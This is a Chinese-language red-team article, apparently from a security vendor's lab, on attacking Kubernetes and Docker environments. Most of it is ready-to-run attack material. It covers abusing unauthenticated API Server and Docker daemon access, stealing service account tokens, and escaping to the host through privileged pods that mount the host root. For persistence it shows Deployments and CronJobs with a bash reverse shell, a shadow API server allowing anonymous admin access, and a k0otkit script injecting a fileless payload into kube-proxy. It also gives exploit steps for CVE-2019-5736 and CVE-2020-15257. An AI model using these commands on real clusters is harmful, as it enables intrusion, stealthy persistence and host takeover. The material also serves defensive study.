作者:深信服千里目安全實驗室
原文鏈接:https://mp.weixin.qq.com/s/8lhmjPtLTlVkS1Q3-6-mHA

隨著越來越多企業踏上上云的步伐,在攻防演練中常常碰到云相關的場景,例如:公有云、私有云、混合云、虛擬化集群等。以往滲透路徑是「外網突破 -> 提權 -> 權限維持 -> 信息收集 -> 橫向移動 -> 循環收集信息」,直到獲得重要目標系統。但隨著業務上云以及虛擬化技術的引入改變了這種格局,也打開了新的入侵路徑,例如:

● 通過虛擬機攻擊云管理平臺,利用管理平臺控制所有機器。

● 通過容器進行逃逸,從而控制宿主機以及橫向滲透到K8s Master節點控制所有容器。

● 利用 KVM-QEMU/執行逃逸獲取宿主機,進入物理網絡橫向移動控制云平臺。

目前互聯網上針對云原生場景下的攻擊手法大都零零散散,僅有少部分廠商發布過相關矩陣技術,但都沒有過多的細節展示,本文基于微軟發布的 Kubernetes 威脅矩陣進行擴展,將深入介紹相關的具體攻擊方法。

圖片

紅色標志是攻擊者重點關注的技術

初始訪問

● API Server 未授權訪問

● kubelet 未授權訪問

● Docker Daemon 公網暴露

● K8s configfile 泄露

API Server未授權訪問

API Server 作為 K8s 集群的管理入口,通常使用 80806443 端口,其中 8080 端口無需認證,6443端口需要認證且有 TLS 保護。如果開發者使用 8080 端口,并將其暴露在公網上,攻擊者就可以通過該端口的 API,直接對集群下發指令。

另一種場景是運維人員配置不當,將"system:anonymous"用戶綁定到"cluster-admin"用戶組,從而使6443 端口允許匿名用戶以管理員權限向集群內部下發指令。

#查看pods
https://192.168.4.110:6443/api/v1/namespaces/default/pods?limit=500


#創建特權容器
https://192.168.4.110:6443/api/v1/namespaces/default/pods/test-4444
{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test-4444\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test-4444\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name":"test-4444","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test-4444","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}


#執行命令
https://192.168.4.110:6443/api/v1/namespace/default/pods/test-4444/exec?command=whoami

創建特權容器詳細解釋:

圖片

創建特權容器

Docker Daemon 公網暴露

DockerC/S 模式工作,其中 docker daemon 服務在后臺運行,負責管理容器的創建、運行和停止操作。

Linux主機上,docker daemon監聽在/var/run/docker.sock中創建的unix socket2375 端口用于未認證的 HTTP 通信,2376 用于可信 HTTPS 通信。

在最初版本安裝 Docker 時默認會把 2375 端口對外開放,目前默認只允許本地訪問。

管理員開啟遠程訪問的配置如下:

#開啟遠程訪問
vim /lib/systemd/system/docker.service
ExecStart=/usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:2375 -containerd=/run/containerd/containerd.sock

Docker Daemon未授權訪問的檢測與利用:

#探測是否訪問未授權訪問
curl http://192.168.238.129:2375/info
docker -H tcp://192.168.238.129:2375 info


#推薦使用這種方式,操作方便。
export DOCKER_HOST="tcp://192.168.238.129:2375" 

Docker Daemon未授權實戰案例:

圖片

K8s configfile 泄露

K8s configfile 作為 K8s 集群的管理憑證,其中包含有關 K8s 集群的詳細信息(API Server、登錄憑證)。

如果攻擊者能夠訪問到此文件(如辦公網員工機器入侵、泄露到 Github的代碼等),就可以直接通過 API Server 接管 K8s 集群,帶來風險隱患。

用戶憑證保存在 kubeconfig 文件中,kubectl 通過以下順序來找到 kubeconfig 文件:

  1. 如果提供了--kubeconfig參數,就使用提供的 kubeconfig 文件。

  2. 如果沒有提供--kubeconfig 參數,但設置了環境變量 $KUBECONFIG,則使用該環境變量提供的 kubeconfig 文件。

  3. 如果以上兩種情況都沒有,kubectl 就使用默認的 kubeconfig文件 $HOME/.kube/config

拿到K8s configfile完整利用流程:

K8s configfile --> 創建后門Pod/掛載主機路徑 --> 通過Kubectl 進入容器 --> 利用掛載目錄逃逸

#Linux安裝kubectl
curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
sudo install -o root -g root -m 0755 kubectl /usr/local/bin/kubectl

#內容放入config、或指定選項,需要修改Server地址
kubectl --kubeconfig k8s.yaml

#獲取已接取的鏡像
kubectl get pods --all-namespaces --insecure-skip-tls-verify=true -o jsonpath="{..image}" |tr -s '[[:space:]]' '\n' |sort |uniq -c

#創建Pod pod.yaml,將宿主機根目錄掛載host文件
apiVersion: v1
kind: Pod
metadata:
  name: test-444
spec:
  containers:
  - name: test-444
    image: nginx:1.14.2
    volumeMounts:
    - name: host
      mountPath: /host
  volumes:
  - name: host
    hostPath:
      path: /
      type: Directory
#在default命名空間中創建pod
kubectl apply -f pod.yaml -n default --insecure-skip-tls-verify=true

#進入容器中
kubectl exec -it test-444 bash -n default --insecure-skip-tls-verify=true

#切換bash,逃逸成功
cd /host
chroot ./ bash

執行

● 利用Service Account

CURL方式請求

kubectl方式請求

利用Service Account

K8s 集群創建的Pod 中,容器內部默認攜帶 K8s Service Account的認證憑據,路徑為:/run/secrets/kubernetes.io/serviceaccount/token

如運維配置不當沒有設置 RBAC (基于角色的訪問控制),那么攻擊者就可以通過 Pod 獲取到 Token 進行API Server認證。

在較低版本 v1.15.11 中, Kubernetes 默認是不會開啟 RBAC 控制,從 1.16 版本起,默認啟用 RBAC 訪問控制策略。從1.18開始,RBAC 已作為穩定的功能。

下面就是利用 Pod中的 Toke``` 訪問API Server `的一種場景:

#指向內部 API 服務器主機名
export APISERVER=https://${KUBERNETES_SERVICE_HOST}

#設置 ServiceAccount 令牌的路徑
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount

#讀取 pods 命名空間并將其設置為變量。
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
#讀取 ServiceAccount 不記名令牌
export TOKEN=$(cat ${SERVICEACCOUNT}/token)

# CACERT 路徑
export CACERT=${SERVICEACCOUNT}/ca.crt

執行以下命令查看當前集群中所有Namespaces。
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespaces

#寫入yaml,創建特權Pod
cat > nginx-pod.yaml << EOF
apiVersion: v1
kind: Pod
metadata:
  name: test-444
spec:
  containers:
  - name: test-444
    image: nginx:1.14.2
    volumeMounts:
    - name: host
      mountPath: /host
  volumes:
  - name: host
    hostPath:
      path: /
      type: Directory
EOF

#創建pod
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -k ${APISERVER}/api/v1/namespaces/default/pods -X POST --header 'content-type: application/yaml' --data-binary @nginx-pod.yaml

#查看信息
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespaces/default/pods/nginx

#執行命令
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespace/default/pods/test-444/exec?command=ls&command=-l
or
api/v1/namespaces/default/pods/nginx-deployment-66b6c48dd5-4djlm/exec?command=ls&command=-l&container=nginx&stdin=true&stdout=true&tty=true

持久化

● DaemonSets、Deployments

● Shadow API

● Rootkit

● cronjob持久化

Deployment

創建容器時,通過啟用 DaemonSetsDeployments,可以使容器和子容器即使被清理掉了也可以恢復,攻擊者經常利用這個特性進行持久化,涉及的概念有:

● ReplicationController(RC)

ReplicationController 確保在任何時候都有特定數量的 Pod 副本處于運行狀態。

● Replication Set(RS)

Replication Set簡稱RS,官方已經推薦我們使用 RSDeployment 來代替 RC 了,實際上 RSRC 的功能基本一致,目前唯一的一個區別就是RC 只支持基于等式的 selector

● Deployment

主要職責和 RC 一樣,的都是保證 Pod 的數量和健康,二者大部分功能都是完全一致的,可以看成是一個升級版的 RC 控制器。官方組件 kube-dnskube-proxy 也都是使用的Deployment來管理。

這里使用Deployment來部署后門

#dep.yaml
apiVersion: apps/v1
kind: Deployment  #確保在任何時候都有特定數量的Pod副本處于運行狀態
metadata:
  name: nginx-deploy
  labels:
    k8s-app: nginx-demo
spec:
  replicas: 3  #指定Pod副本數量
  selector:
    matchLabels:
      app: nginx
  template:
    metadata:
      labels:
        app: nginx
    spec:
      hostNetwork: true
      hostPID: true
      containers:
      - name: nginx
        image: nginx:1.7.9
        imagePullPolicy: IfNotPresent
        command: ["bash"] #反彈Shell
        args: ["-c", "bash -i >& /dev/tcp/192.168.238.130/4242 0>&1"]
        securityContext:
          privileged: true #特權模式
        volumeMounts:
        - mountPath: /host
          name: host-root
      volumes:
      - name: host-root
        hostPath:
          path: /
          type: Directory

#創建
kubectl create -f dep.yaml

Shadow API Server

如果部署了一個shadow api server,那么該api server具有和集群中現在的api server一致的功能。同時開啟了全部k8s權限,接受匿名請求且不保存審計日志,這將方便攻擊者無痕跡的管理整個集群以及進行后續滲透行動。

Shadow API Server的配置與利用:

配置文件路徑:

/etc/systemd/system/kube-apiserver-test.service


#一鍵部署Shadow apiserver
./cdk run k8s-shadow-apiserver default


#一鍵部署將在配置文件中添加了如下選項:
--allow-privileged
--insecure-port=9443
--insecure-bind-address=0.0.0.0
--secure-port=9444
--anonymous-auth=true
--authorization-mode=AlwaysAllow


#kcurl訪問與利用
./cdk kcurl anonymous get https://192.168.1.44:9443/api/v1/secrets

Rootkit

這里介紹一個 k8srootkitk0otkit 是一種通用的后滲透技術,可用于對 Kubernetes 集群的滲透。使用 k0otkit,您可以以快速、隱蔽和連續的方式(反向 shell)操作目標 Kubernetes 集群中的所有節點。

K0otkit使用到的技術:

DaemonSetSecret資源(快速持續反彈、資源分離)

kube-proxy鏡像(就地取材)

● 動態容器注入(高隱蔽性)

Meterpreter(流量加密)

● 無文件攻擊(高隱蔽性)

#生成k0otkit
./pre_exp.sh

#監聽
./handle_multi_reverse_shell.sh

k0otkit.sh的內容復制到master執行:

volume_name=cache
mount_path=/var/kube-proxy-cache
ctr_name=kube-proxy-cache
binary_file=/usr/local/bin/kube-proxy-cache
payload_name=cache
secret_name=proxy-cache
secret_data_name=content

ctr_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ containers:/{print NR}')
volume_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ volumes:/{print NR}')
image=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | grep " image:" | awk '{print $2}')
# create payload secret
cat << EOF | kubectl --kubeconfig /root/.kube/config apply -f -
apiVersion: v1
kind: Secret
metadata:
  name: $secret_name
  namespace: kube-system
type: Opaque
data:
  $secret_data_name: N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDA......

# inject malicious container into kube-proxy pod
kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml \
  | sed "$volume_line_num a\ \ \ \ \ \ - name: $volume_name\n        hostPath:\n          path: /\n          type: Directory\n" \
  | sed "$ctr_line_num a\ \ \ \ \ \ - name: $ctr_name\n        image: $image\n        imagePullPolicy: IfNotPresent\n        command: [\"sh\"]\n        args: [\"-c\", \"echo \$$payload_name | perl -e 'my \$n=qq(); my \$fd=syscall(319, \$n, 1); open(\$FH, qq(>&=).\$fd); select((select(\$FH), \$|=1)[0]); print \$FH pack q/H*/,; my \$pid = fork(); if (0 != \$pid) { wait }; if (0 == \$pid){system(qq(/proc/\$\$\$\$/fd/\$fd))}'\"]\n        env:\n          - name: $payload_name\n            valueFrom:\n              secretKeyRef:\n                name: $secret_name\n                key: $secret_data_name\n        securityContext:\n          privileged: true\n        volumeMounts:\n        - mountPath: $mount_path\n          name: $volume_name" \
  | kubectl --kubeconfig /root/.kube/config replace -f -

cronjob持久化

CronJob用于執行周期性的動作,例如備份、報告生成等,攻擊者可以利用此功能持久化。

apiVersion: batch/v1
kind: CronJob  #使用CronJob對象
metadata:
  name: hello
spec:
  schedule: "*/1 * * * *" #每分鐘執行一次
  jobTemplate:
    spec:
      template:
        spec:
          containers:
          - name: hello
            image: busybox
            imagePullPolicy: IfNotPresent
            command:
            - /bin/sh
            - -c
            - #反彈Shell或者木馬
          restartPolicy: OnFailure

權限提升

● 特權容器逃逸

Docker漏洞

Linux Capabilities逃逸

特權容器逃逸

當容器啟動加上--privileged選項時,容器可以訪問宿主機上所有設備。

而K8s配置文件啟用了privileged: true:

spec:
containers:
- name: ubuntu
image: ubuntu:latest
securityContext:
privileged: true

實戰案例:

通過漏洞獲取WebShell,查看根目錄存在.dockerenv,可通過fdisk -l查看磁盤目錄,進行掛載目錄逃逸:

#Webshell下操作
fdisk -l
mkdir /tmp/test
mount /dev/sda3 /tmp/test
chroot /tmp/test bash

圖片

Docker漏洞

這里介紹兩個知名的docker逃逸漏洞。

CVE-2020-15257:

Containerd 1.3.9版本之前和1.4.0~1.4.2版本,使用了--host網絡模式,會造成containerd-shim API暴露,通過調用API功能實現逃逸。

Host模式特點:

● 共享宿主機網絡

● 網絡性能無損耗

● 各容器網絡無隔離

● 網絡資源無法分別統計

● 端口管理困難

● 不支持端口映射

#判斷是否使用host模式
cat /proc/net/unix | grep 'containerd-shim'

圖片

#反彈宿主機的shell到遠端服務器
./cdk_linux_386 run shim-pwn reverse 192.168.238.159 4455

圖片

CVE-2019-5736:

runc動態編譯時,會從容器鏡像中載入動態鏈接庫,導致加載惡意動態庫;當打開/prco/self/exerunc時,會執行惡意動態鏈接庫中的惡意程序,由于惡意程序繼承runc打開的文件句柄,可以通過該文件句柄替換host上的runc

此后,再次執行runc相關的命令,則會產生逃逸。

版本漏洞:

docker version <=18.09.2
RunC version <=1.0-rc6

利用過程:

#下載POC
https://github.com/Frichetten/CVE-2019-5736-PoC


#編譯
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

利用成功是將/etc/shadow文件復制到/tmp/目錄下

#將編譯的main復制到docker容器中,實戰是用WebShell上傳
docker cp main name:/home
cd /home/
chmod 777 main
./main
#此時等管理員進入容器將觸發:

圖片

或將第16行改為反彈Shell,獲得宿主機權限。

圖片

Capabilities

CapabilitiesLinux一種安全機制,是在Linux內核2.2之后引入的,主要作用是權限更細粒度的控制。容器社區一直在努力將縱深防御、最小權限等理念和原則落地。

目前Docker已經將Capabilities黑名單機制改為了默認禁止所有Capabilities,再以白名單方式賦予容器運行所需的最小權限。

#查看Capabilitiescat
/proc/self/status | grep CapEff
capsh --print

Capabilities允許執行系統管理任務,如加載或卸載文件系統、設置磁盤配額等

● cap_sys_ptrace-container

● cap_sys_admin-container

● cap_dac_read_search-container

實際場景不多,逃逸方法參考掛載目錄方式。

探測

● 內網掃描

● K8s常用端口探測

● 集群內部網絡

集群內網掃描

Kubernetes的網絡中存在4種主要類型的通信

● 同一Pod內的容器間通信

● 各Pod彼此間通信

PodService間的通信

● 集群外部的流量與Service間的通信。

所以和常規內網滲透無區別,nmapmasscan等掃描

K8s常用端口探測

圖片

集群內部網絡

Flannel網絡插件默認使用10.244.0.0/16網絡

Calico默認使用192.168.0.0/16網絡

橫向移動

污點(Taint)橫向滲透

污點是K8s高級調度的特性,用于限制哪些Pod可以被調度到某一個節點。一般主節點包含一個污點,這個污點是阻止Pod調度到主節點上面,除非有Pod能容忍這個污點。而通常容忍這個污點的 Pod都是系統級別的Pod,例如kube-system

圖片

—個pod只有容忍了節點的污點,才能被調度到該節點上面

控制Pod創建時候的污點來向集群內的節點進行噴射創建。

#Node中查看節點信息
[root@node1 ~]# kubectl get nodes
NAME              STATUS                     ROLES    AGE   VERSION
192.168.238.129   Ready,SchedulingDisabled   master   30d   v1.21.0
192.168.238.130   Ready,SchedulingDisabled   master   30d   v1.21.0
192.168.238.131   Ready                      node     30d   v1.21.0
192.168.238.132   Ready                      node     30d   v1.21.0
#確認Master節點的容忍度
[root@node1 ~]# kubectl describe nodes 192.168.238.130
Name:               192.168.238.130
Roles:              master
Labels:             beta.kubernetes.io/arch=amd64
                    beta.kubernetes.io/os=linux
                    kubernetes.io/arch=amd64
                    kubernetes.io/hostname=192.168.238.130
                    kubernetes.io/os=linux
                    kubernetes.io/role=master
Annotations:        flannel.alpha.coreos.com/backend-data: {"VtepMAC":"66:3b:20:6a:eb:ff"}
                    flannel.alpha.coreos.com/backend-type: vxlan
                    flannel.alpha.coreos.com/kube-subnet-manager: true
                    flannel.alpha.coreos.com/public-ip: 192.168.238.130
                    node.alpha.kubernetes.io/ttl: 0
                    volumes.kubernetes.io/controller-managed-attach-detach: true
CreationTimestamp:  Tue, 14 Sep 2021 17:41:30 +0800
Taints:             node.kubernetes.io/unschedulable:NoSchedule


#創建帶有容忍參數的Pod
kubectl create -f control-master.yaml

#control-master.yaml內容:
apiVersion: v1
kind: Pod
metadata:
  name: control-master-15
spec:
  tolerations:
    - key: node.kubernetes.io/unschedulable
      operator: Exists
      effect: NoSchedule
  containers:
    - name: control-master-15
      image: ubuntu:18.04
      command: ["/bin/sleep", "3650d"]
      volumeMounts:
      - name: master
        mountPath: /master
  volumes:
  - name: master
    hostPath:
      path: /
      type: Directory

圖片

結論

● 目前黑產團伙通過批量掃描然后利用未授權進行挖礦。

● 當前攻防技術處于初級階段,但隨著云原生攻擊武器的發展,攻擊門檻也會相應降低。

● 虛擬機/容器逃逸攻擊、供應鏈攻擊等新型技術攻擊方式,將會呈現出快速增長的趨勢,此類攻擊難度很高,帶來的危害和影響也很大。

● 私有云部署在企業業務生產網,云的底座網絡、物理設備與業務網絡在同一安全域,大多時候缺乏有效隔離。

● 私有云產品屬于定制開發,使用大量第三方組件,會隨著時間和安全研究人員的研究而暴露。

參考鏈接

  1. TeamTNT Targets Kubernetes, Nearly 50,000 IPs Compromised in Worm-like Attack
    https://www.trendmicro.com/en_us/research/21/e/teamtnt-targets-kubernetes--nearly-50-000-ips-compromised.html

  2. Threat matrix for Kubernetes
    https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/

  3. Kubernetes Attack Surface
    https://www.optiv.com/insights/source-zero/blog/kubernetes-attack-surface

  4. Attack methods and defenses on Kubernetes
    https://dione.lib.unipi.gr/xmlui/handle/unipi/12888

  5. k0otkit
    https://github.com/Metarget/k0otkit

  6. CVE-2019-5736-Poc
    https://github.com/Frichetten/CVE-2019-5736-PoC

  7. 修復Docker操作系統命令注入漏洞公告(CVE-2019-5736)
    https://support.huaweicloud.com/bulletin-cce/cce_bulletin_0015.html


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1803/